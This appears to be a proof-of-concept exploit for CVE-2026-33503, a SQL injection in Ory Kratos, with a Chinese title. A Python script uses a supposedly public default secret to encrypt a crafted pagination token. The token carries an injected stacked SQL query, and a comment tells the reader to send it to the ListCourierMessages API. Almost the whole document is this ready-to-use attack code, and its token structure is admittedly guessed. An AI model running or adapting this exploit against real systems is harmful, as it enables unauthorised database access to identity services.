CVE-2026-33503 Ory Kratos SQL注入漏洞

import base64 import json from cryptography.fernet import Fernet # The default secret is publicly known for vulnerable installations DEFAULT_SECRET = b'public_known_default_secret_change_me' def craft_malicious_token(sql_payload): """ Crafts a malicious pagination token containing a SQL injection payload. """ f = Fernet(base64.urlsafe_b64encode(DEFAULT_SECRET.ljust(32, b'0')[:32])) # Construct the token structure (example based on typical pagination) token_data = { "page_size": 10, "page_token": f"' OR 1=1; {sql_payload} --" } json_data = json.dumps(token_data).encode('utf-8') encrypted_token = f.encrypt(json_data) return encrypted_token.decode('utf-8') if __name__ == "__main__": # Example payload to extract version payload = "SELECT version()" token = craft_malicious_token(payload) print(f"Generated Malicious Token: {token}") # Send this token in the 'page_token' parameter of ListCourierMessages API